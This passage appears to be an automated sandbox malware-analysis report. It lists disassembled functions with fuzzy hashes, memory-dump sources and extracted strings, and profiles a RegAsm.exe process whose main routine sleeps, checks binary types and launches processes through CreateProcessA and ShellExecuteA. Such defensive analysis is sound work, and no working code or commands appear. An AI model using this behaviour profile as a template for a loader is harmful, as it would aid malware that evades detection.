Instruction Fuzzy Hash: E73186B4D012489FCF14CFA9D980A9EFBB5BB49320F24942AE819B7210D775A9458F54

Function 05A920B1 Relevance: 1.4, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d8kq, xrefs: 05A924C0

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: d8kq
API String ID: 0-510916774
Opcode ID: 63b4ad6b091fbb907946897ec74521c4a92d817bc950ec4e59da8b892dac4e1a
Instruction ID: 6a36b516527f83d6bf78a5b0336d10dbb9a7f291ee9c1a38511da85a651f9729
Opcode Fuzzy Hash: 63b4ad6b091fbb907946897ec74521c4a92d817bc950ec4e59da8b892dac4e1a
Instruction Fuzzy Hash: B7612B39B01128AFCF18DF64D855EAD7BF6BF88711F248069EA12A7390DA71DC41CB94

Function 05A96AB3 Relevance: 1.4, Strings: 1, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5, xrefs: 05A970BD

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 6b48fa92ea25789d27dee3eadafb697315f9e24e0b560a5a048eb7de6ce38846
Instruction ID: 5209a5470cae48e5f4521dd375ac658c8e73624bd85dd6d956f864c377cbd2a2
Opcode Fuzzy Hash: 6b48fa92ea25789d27dee3eadafb697315f9e24e0b560a5a048eb7de6ce38846
Instruction Fuzzy Hash: 6F91F574D11628CFDB64DF24DD90AAABBB6FB48342F1041E9D908A7358DB356E81CF40

Function 01A3F590 Relevance: 1.3, APIs: 1, Instructions: 94
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 01A3F62F

Memory Dump Source

Source File: 00000000.00000002.1722101615.0000000001A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a30000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9155b0f1c2d73315e14a71e3df233041aed67fcb0abacec85d16eb198f43c54f
Instruction ID: f496679920b89673dbd3c93f1947935001f0851f9b3428c60862525e9096bcd4
Opcode Fuzzy Hash: 9155b0f1c2d73315e14a71e3df233041aed67fcb0abacec85d16eb198f43c54f
Instruction Fuzzy Hash: 563198B4D012489FCF14CFA9D980A9EFBB5AF59320F24942AE814B7310D735A945CF54

Function 05A91CD8 Relevance: 1.3, Strings: 1, Instructions: 85
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hjq, xrefs: 05A91D6C

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: Hjq
API String ID: 0-3368716452
Opcode ID: 05ddd26fc064ec15d31253792e78a209042cbac92c5b4147a4ddf682e72fb1c7
Instruction ID: 7d32fd7c9d385f8332e3f522e46c44b657c756caf17169e81e95e8eab310589b
Opcode Fuzzy Hash: 05ddd26fc064ec15d31253792e78a209042cbac92c5b4147a4ddf682e72fb1c7
Instruction Fuzzy Hash: 1521E271E04225AFDB44AB788C41FBE3FB6EB95740F50C0A5E941DB280DE359A06C7A5

Function 05A91155 Relevance: 1.3, Strings: 1, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

5, xrefs: 05A91745

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: 5
API String ID: 0-2226203566
Opcode ID: 5393a0aeed5d8e3004fb61f66fb185cb0402dbf96e138ab5599a6c40cec684db
Instruction ID: 729ec05f6d3106ab2aab143e527f3d12e0412b182270c0357c5a78a456a4c20a
Opcode Fuzzy Hash: 5393a0aeed5d8e3004fb61f66fb185cb0402dbf96e138ab5599a6c40cec684db
Instruction Fuzzy Hash: 93116FB4D056698FCF65CF28CD90A9EBBF5BF49342F1050D9E909A6290D7309E91CF84

Function 05A995D0 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fa4b4fdd0d0d0be551472b2c7a47ca54d8ddc28690950ababdcef4b177658e8
Instruction ID: 2ad8a68b26f105fa58da2684ba7536ff4e49b8fad19517b0f14c774d400c0023
Opcode Fuzzy Hash: 2fa4b4fdd0d0d0be551472b2c7a47ca54d8ddc28690950ababdcef4b177658e8
Instruction Fuzzy Hash: 0A71D274E00218DFDB14DFA9C994AEEBBB6FF88300F10812AE559AB354DB319985DF50

Function 05A995C0 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51d9b2e4fa71b9150355d21a1805b1155dbe34fd89193ab3e50103c1b89db356
Instruction ID: a2023f12d3416543d7849e54a8219d66422c6de1048076d2e256bcd7b18321b1
Opcode Fuzzy Hash: 51d9b2e4fa71b9150355d21a1805b1155dbe34fd89193ab3e50103c1b89db356
Instruction Fuzzy Hash: F171E374E00218DFDB14DFA9C994AAEBBB6FF88300F108129E559AB354DB355886CF50

Function 05A92987 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 014449b0f4d39a69e7f4162ea423d8341cc4174bfa338298cdf77f340756287e
Instruction ID: d91a59e8a127c133604dc963f7e5879879043e48e930e4a23b2743f58d945589
Opcode Fuzzy Hash: 014449b0f4d39a69e7f4162ea423d8341cc4174bfa338298cdf77f340756287e
Instruction Fuzzy Hash: F441497560022AABCF199F64E884AAE7BB7FF84710F148029F812D7694CB34CC52DB95

Function 05A9F3E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78620bebaca73e9a6299dd3ea3dfa64699e3d47861f9280e627536a88c1bdea3
Instruction ID: 2f990b0b87b9c474ee31578de198941c2938cf5a2368df585a492c650a4a78e1
Opcode Fuzzy Hash: 78620bebaca73e9a6299dd3ea3dfa64699e3d47861f9280e627536a88c1bdea3
Instruction Fuzzy Hash: 00417D74E012199FDB08DFA9D98099EBBF2BF89210F248069E815B7354EB35A942CF54

Function 0168D3DC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1721272189.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_168d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecb26dafdd036dad89d96b391c127c1c51d01471719aa7f139af88c03f499222
Instruction ID: 4bfff5d63e58fadd88744ef2093da14746257d40d9a2d54e0b7f2d2dbc32b88b
Opcode Fuzzy Hash: ecb26dafdd036dad89d96b391c127c1c51d01471719aa7f139af88c03f499222
Instruction Fuzzy Hash: C7210671504204DFDB05EF58D9C0B6ABF66FB98324F24C669E9090B296C336E456C6B1

Function 0169D01C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1721498613.000000000169D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0169D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_169d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25a38518b1b49144b7943fd31c04268aa2fb87e79c2e78ee33333b8d16e64a96
Instruction ID: 713b66cbe8d65b09e438a7c7e84f4d530340ed9a7c8db61b3c8858a8efa1c9b0
Opcode Fuzzy Hash: 25a38518b1b49144b7943fd31c04268aa2fb87e79c2e78ee33333b8d16e64a96
Instruction Fuzzy Hash: 3B2100B1504240DFCF15DF58D9C4B26BFA9FB84364F24C579E90A0B242C33AD44BCAA2

Function 05A924E8 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6feb70fcbcd43a8dcb687667b1416854d24597487fe44ccdc02196b0f4c4b51c
Instruction ID: 698e8205fe1099a41ee6ca6dd6b61611c7427a02e3cddb5f47009faeec0e0e8b
Opcode Fuzzy Hash: 6feb70fcbcd43a8dcb687667b1416854d24597487fe44ccdc02196b0f4c4b51c
Instruction Fuzzy Hash: 51216D39B0421A9FCF14DFA8C494F6E7BF2AF48210F154065E915DB361D734E882CBA1

Function 05A99917 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bebf7e092b2f138bbd223e1acda81a1d1a37ef2de233cb14babd610f52d1c78
Instruction ID: 297c9988ad8ded0ab687dd06f1ae29d4138674c7df99c4554330963a759fbad0
Opcode Fuzzy Hash: 9bebf7e092b2f138bbd223e1acda81a1d1a37ef2de233cb14babd610f52d1c78
Instruction Fuzzy Hash: BB113075A0021AAFCF04DF99D845AEFFBF9FB88210F00442AE955E7240D7758A11CBE1

Function 0169D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1721498613.000000000169D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0169D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_169d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac9f52c868f1ab5fa08fcaa3073338b8f293c034f022b01d2ac7e8c98f97b2a
Instruction ID: 2293b6723c39e61d7d317226136bb15f6409cce2c1985f7240c8d2fb29908665
Opcode Fuzzy Hash: 1ac9f52c868f1ab5fa08fcaa3073338b8f293c034f022b01d2ac7e8c98f97b2a
Instruction Fuzzy Hash: 66219275408380DFDB13CF54D984B16BFB5FB86314F2485AAD8454B257C33AD85ACBA2

Function 0168D3D7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1721272189.000000000168D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0168D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_168d000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d470e05bf275f9961b8f2d54e60ae5f944f02dbb38b852c854ecf385a2209709
Instruction ID: 32f8b9d711d158db1da677f664c6e84559a0e49aa968f943ed826acc0a9b9dea
Opcode Fuzzy Hash: d470e05bf275f9961b8f2d54e60ae5f944f02dbb38b852c854ecf385a2209709
Instruction Fuzzy Hash: 4E11E172404240DFCB02DF48D9C0B56BF72FB84324F24C2A9D9090B796C33AE45ACBA2

Function 05A924D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9b45d7f40642b2384708f5b49ecc67275e023ec570ebe42d6cd04014dd43a6
Instruction ID: c3d4622700b54ebd9b0302aff1e133dcb7593f72af9cc10f6d6cf1f5f1980b8f
Opcode Fuzzy Hash: ae9b45d7f40642b2384708f5b49ecc67275e023ec570ebe42d6cd04014dd43a6
Instruction Fuzzy Hash: 22E0D83A615318F7CF145A71EC4AF967FE9EF54261F008031FA16C2902D635C11AC961

Function 05A99890 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0128e0327a788cfdbe95c7ad471bbe45db5ffe210b6393cf03116ba6a0c39129
Instruction ID: f4cb9c564eb74af7ba61ad1144a2fab3a34b794e9d7dada50bfc614b6e430be6
Opcode Fuzzy Hash: 0128e0327a788cfdbe95c7ad471bbe45db5ffe210b6393cf03116ba6a0c39129
Instruction Fuzzy Hash: ABE06535304258BF8F0A1F159814CBF3FAAEFC8221704C02AFD59C2240CE35C9229B74

Function 05A99881 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 572ebb4a92ae42e511aa79a468cd5888dce9c95e55ef17898cdeaa9f4f72e60c
Instruction ID: cb63e867fce24fda31a2889a9d3f18d346ea07b69acb4128a8d41727f4767350
Opcode Fuzzy Hash: 572ebb4a92ae42e511aa79a468cd5888dce9c95e55ef17898cdeaa9f4f72e60c
Instruction Fuzzy Hash: B6E0D8322042597BCF090605A815EFF3FBE9FC4231B08802EFC05C1A41CA28C8125674

Function 05A99858 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6af7930eeae93b3875a4293e479bfc0998bccbf9e2c744ed21195cf988f1403a
Instruction ID: ad3055d8b1fa3c27eb231e480f3d5eeb6d8324303df63de0bcea622919154b50
Opcode Fuzzy Hash: 6af7930eeae93b3875a4293e479bfc0998bccbf9e2c744ed21195cf988f1403a
Instruction Fuzzy Hash: 9FC02BB346C2046BDB204940DF07FC43710D330F00F01C420F240C40C4D06CD142832D

Non-executed Functions

Function 05A51B60 Relevance: 56.9, Strings: 45, Instructions: 653COMMON

Download Yara Rule

Strings

C, xrefs: 05A51F35
O, xrefs: 05A522BF
W, xrefs: 05A5203B
", xrefs: 05A51D4E
), xrefs: 05A5210F
3, xrefs: 05A52361
@, xrefs: 05A5237F
9, xrefs: 05A521C3
G, xrefs: 05A5236B
#, xrefs: 05A5228F
b, xrefs: 05A522EB
E, xrefs: 05A52627
\, xrefs: 05A52001
", xrefs: 05A52671
., xrefs: 05A51CE5
$, xrefs: 05A51D33
2, xrefs: 05A52179
G, xrefs: 05A51FAD
?, xrefs: 05A52575
7, xrefs: 05A51D23
5, xrefs: 05A51ED5
5, xrefs: 05A51FF7
R, xrefs: 05A521B9
$, xrefs: 05A5201B
L, xrefs: 05A524BB
D, xrefs: 05A524F3
;, xrefs: 05A51E7B
_, xrefs: 05A51F89
<, xrefs: 05A51D03
Z, xrefs: 05A51EA1
=, xrefs: 05A51D0A
A, xrefs: 05A521EF
7y8B, xrefs: 05A52651
M, xrefs: 05A52025
T, xrefs: 05A52203
3, xrefs: 05A52305
1, xrefs: 05A52409
@, xrefs: 05A51CFC
", xrefs: 05A51CC0
V, xrefs: 05A52647
Y, xrefs: 05A52057
K, xrefs: 05A5247B
b, xrefs: 05A52045
M, xrefs: 05A51CEC
(, xrefs: 05A51DC5

Memory Dump Source

Source File: 00000000.00000002.1738227230.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A30000, based on PE: true

Associated: 00000000.00000002.1738107158.0000000005A30000.00000004.08000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a30000_file.jbxd

Similarity

API ID:
String ID: "$"$"$#$$$$$($)$.$1$2$3$3$5$5$7$7y8B$9$;$<$=$?$@$@$A$C$D$E$G$G$K$L$M$M$O$R$T$V$W$Y$Z$\$_$b$b
API String ID: 0-1431609301
Opcode ID: be8251f8cf89b572cdbd5a7bc9e96279e695e87658c14470cc20765ffe478268
Instruction ID: 67291005f04df82761303a99f83b2a6159e47d8b3a139e582b948fba912ce638
Opcode Fuzzy Hash: be8251f8cf89b572cdbd5a7bc9e96279e695e87658c14470cc20765ffe478268
Instruction Fuzzy Hash: 8682C0B4D116298FEB65CF2ACA447A9BBB6FF88300F0081E9D50CA7254DB795E85CF44

Function 05A96328 Relevance: 8.0, Strings: 6, Instructions: 498COMMON

Download Yara Rule

Strings

4|kq, xrefs: 05A96518
4'fq, xrefs: 05A9639E
4'fq, xrefs: 05A963CE
$fq, xrefs: 05A963F0
4|kq, xrefs: 05A96533
4'fq, xrefs: 05A96343

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: 4'fq$4'fq$4'fq$4|kq$4|kq$$fq
API String ID: 0-863915177
Opcode ID: 0c04976cbe3b0af9d68c0995e97fcd3fa3043939695ef7361a84f31bb7fedb5e
Instruction ID: c5b64f8ec586d1bc1afab5da7983c4a6fee0610e44036fccaa9d44c88ed2243b
Opcode Fuzzy Hash: 0c04976cbe3b0af9d68c0995e97fcd3fa3043939695ef7361a84f31bb7fedb5e
Instruction Fuzzy Hash: F602A975B042218FCF1DDB69C594E6E7BF2BF84600B2A84A9D516DB3A1CF31DC428B91

Function 05A9A4C8 Relevance: 6.7, Strings: 5, Instructions: 428COMMON

Download Yara Rule

Strings

$fq, xrefs: 05A9A5C8
$fq, xrefs: 05A9A6D6
$fq, xrefs: 05A9A5D4
Hjq, xrefs: 05A9A674
Xjq, xrefs: 05A9A6EF

Memory Dump Source

Source File: 00000000.00000002.1738390912.0000000005A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a90000_file.jbxd

Similarity

API ID:
String ID: Hjq$Xjq$$fq$$fq$$fq
API String ID: 0-3158732090
Opcode ID: c62e9a2f8d81d8b50eb3da8d486e57be0031086a3b33ca8c27ef0fdcfa260be3
Instruction ID: 9b092742a77674823c66b5ac7150d28122f33f6be938e47e842cb5002c9b1d67
Opcode Fuzzy Hash: c62e9a2f8d81d8b50eb3da8d486e57be0031086a3b33ca8c27ef0fdcfa260be3
Instruction Fuzzy Hash: 03D18030B042659BCF5CAB799854A7E7AF7BFC8650B19842EE503DB388DE34DC028795

Function 01A30868 Relevance: 1.4, Strings: 1, Instructions: 171COMMON

Download Yara Rule

Strings

4'fq, xrefs: 01A30965

Memory Dump Source

Source File: 00000000.00000002.1722101615.0000000001A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a30000_file.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: 072daf10b1de073f70d8831dada47965c01767371e954999eee515879e71b698
Instruction ID: bff1ca720a1fdbf9a93787acf2e269ba5be4d9b63d70c51989ab7d5c98405550
Opcode Fuzzy Hash: 072daf10b1de073f70d8831dada47965c01767371e954999eee515879e71b698
Instruction Fuzzy Hash: 5271FC719002098FEB48EF6AE89079A7BF3FBA4304F14C569D005BB298DF745D45DB51

Function 01A30878 Relevance: 1.4, Strings: 1, Instructions: 165COMMON

Download Yara Rule

Strings

4'fq, xrefs: 01A30965

Memory Dump Source

Source File: 00000000.00000002.1722101615.0000000001A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a30000_file.jbxd

Similarity

API ID:
String ID: 4'fq
API String ID: 0-2007657732
Opcode ID: a09682d92592b9422a2da26a79d4a987da74d1c611745540387c93b4d6985ce1
Instruction ID: 20a69439c5bd06aa685b67316b3251b219d0965da05c26ceeceb2224cb6c3bd2
Opcode Fuzzy Hash: a09682d92592b9422a2da26a79d4a987da74d1c611745540387c93b4d6985ce1
Instruction Fuzzy Hash: 8D61EC71A002098FEB48EF6AE89079A7BF3FBA4304F14D569D005BB298EF745C45DB51

Function 05A35DF1 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1738107158.0000000005A30000.00000004.08000000.00040000.00000000.sdmp, Offset: 05A30000, based on PE: true

Associated: 00000000.00000002.1738227230.0000000005A50000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b1cd8d7e042b36d1f1ea047f1cfa04c210e08b92655a8bc4a54ba75b45013f1
Instruction ID: add3acc774e9c229fe4356d383b00e5da50fccef527e2f6759b1678adab0e276
Opcode Fuzzy Hash: 8b1cd8d7e042b36d1f1ea047f1cfa04c210e08b92655a8bc4a54ba75b45013f1
Instruction Fuzzy Hash: 18B1CDA289E3D05FE7138770597A6907FB26E13214B1F89DBC8C1DF0A3D2495A4AD332

Function 01A30F30 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722101615.0000000001A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3fe3a80571f1c7be414637760df2dcbe4495f402f007a2fc1119fe83d22c69c
Instruction ID: a5a509245a40296704df55e8df2a1dbbbc19f172cb7c42ac43b8c05c459fbfe0
Opcode Fuzzy Hash: f3fe3a80571f1c7be414637760df2dcbe4495f402f007a2fc1119fe83d22c69c
Instruction Fuzzy Hash: 59511BB5D056588BEB6CCF6B8D447CAFAF3AFC9310F14C1FA950CA6258DB704A858E41

Function 01A30B38 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722101615.0000000001A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c183e6fb5c84b0fbd3488316b67dfaa8de163ea18980913f43b03cca914b8b41
Instruction ID: f2aeaad59276b8f6b4cdbf414c6d592425930a61e1eca17ba5c66baa12473659
Opcode Fuzzy Hash: c183e6fb5c84b0fbd3488316b67dfaa8de163ea18980913f43b03cca914b8b41
Instruction Fuzzy Hash: 8341ECB0D00248DFDB14CFEAD985B9EBFF1BB59300F64902AE818AB290D7749845CF95

Function 01A30F2E Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1722101615.0000000001A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 01A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17b7c0ac9d9722d2eed4bbbf946d54c2b917cf743c40c91479462e5c208bfc24
Instruction ID: 349e70b68faa8995147bef771f0b021635908c128a915276226c4891c6661170
Opcode Fuzzy Hash: 17b7c0ac9d9722d2eed4bbbf946d54c2b917cf743c40c91479462e5c208bfc24
Instruction Fuzzy Hash: 17410175D016189BEB6CCF6B8D456CAFAF3AFC9310F14C1FA951CA6258DB7006868F41

Analysis Process: RegAsm.exePID: 5500, Parent PID: 1704COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	66

Executed Functions

Function 004CF190 Relevance: 63.6, APIs: 16, Strings: 19, Instructions: 2340sleepprocessCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004CF3B3

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004CF4ED
Sleep.KERNEL32(000000C8,?,?,?), ref: 004CFDE1
Sleep.KERNEL32(?), ref: 004CFE0A
GetBinaryTypeA.KERNEL32(00000000,FFFFFFFF), ref: 004CFE34
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D02F0
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D0301
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D030E
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?), ref: 004D0530
Sleep.KERNEL32(000000C8), ref: 004D072D
Sleep.KERNEL32(00000000), ref: 004D0756
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D0C19
CloseHandle.KERNEL32(?), ref: 004D0C2A
CloseHandle.KERNEL32(?), ref: 004D0C37
__aulldiv.LIBCMT ref: 004D1587
ShellExecuteA.SHELL32(00000000,?,?,?,00000000,?), ref: 004D172C

Part of subcall function 0053F46A: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F475
Part of subcall function 0053F46A: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F4AF

Part of subcall function 0053F419: AcquireSRWLockExclusive.KERNEL32(0058F970,-000071FB,?,00431712,00591F6C), ref: 0053F423
Part of subcall function 0053F419: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F456
Part of subcall function 0053F419: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F461

Strings

o, xrefs: 004D166F
0, xrefs: 004D1300
^, xrefs: 004D0556
D, xrefs: 004D0178
eks, xrefs: 004CF5F8, 004CFF4D, 004D0059, 004D03EE, 004D081C, 004D0928, 004D0D2D, 004D0D77, 004D13F7, 004D1432, 004D1946, 004D1990
U, xrefs: 004D0F50
b, xrefs: 004D0777
p, xrefs: 004D0552
jbb4, xrefs: 004D118E
D, xrefs: 004D0A47
;, xrefs: 004CFA95
w, xrefs: 004D0F54
4, xrefs: 004D076F
r, xrefs: 004D0E96
\, xrefs: 004D0E9A
Jd/2/, xrefs: 004CFEC6
j3l6lrek, xrefs: 004CF69F, 004CF6E9, 004CFFF4, 004D003E, 004D0100, 004D014A, 004D0495, 004D04DF, 004D08C3, 004D090D, 004D09CF, 004D0A19, 004D0E1E, 004D0E68, 004D14D9, 004D1523, 004D1A37, 004D1A81
g, xrefs: 004CFA99
>, xrefs: 004D1304

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseExclusiveHandleLockSleep$AcquireBinaryCreateProcessReleaseType$ConditionExecuteShellVariableWake
String ID: 0$4$;$>$D$D$Jd/2/$U$\$^$b$eks$g$j3l6lrek$jbb4$o$p$r$w
API String ID: 469071346-2942802698
Opcode ID: 2cfa00473168be60ec8da634256a118d18085892926853820a503dc5248d49ab
Instruction ID: 91bb8f5c520fd1c897e85da18f246e6b93e410d6805543ced242c54f2a9dce73
Opcode Fuzzy Hash: 2cfa00473168be60ec8da634256a118d18085892926853820a503dc5248d49ab
Instruction Fuzzy Hash: D54334709042688FDB25DB64CC94BEEBBB1BF49304F0481EAD54967381DB386E89CF59

Function 00437AE0 Relevance: 47.1, APIs: 2, Strings: 23, Instructions: 3321COMMON

Download Yara Rule

Strings

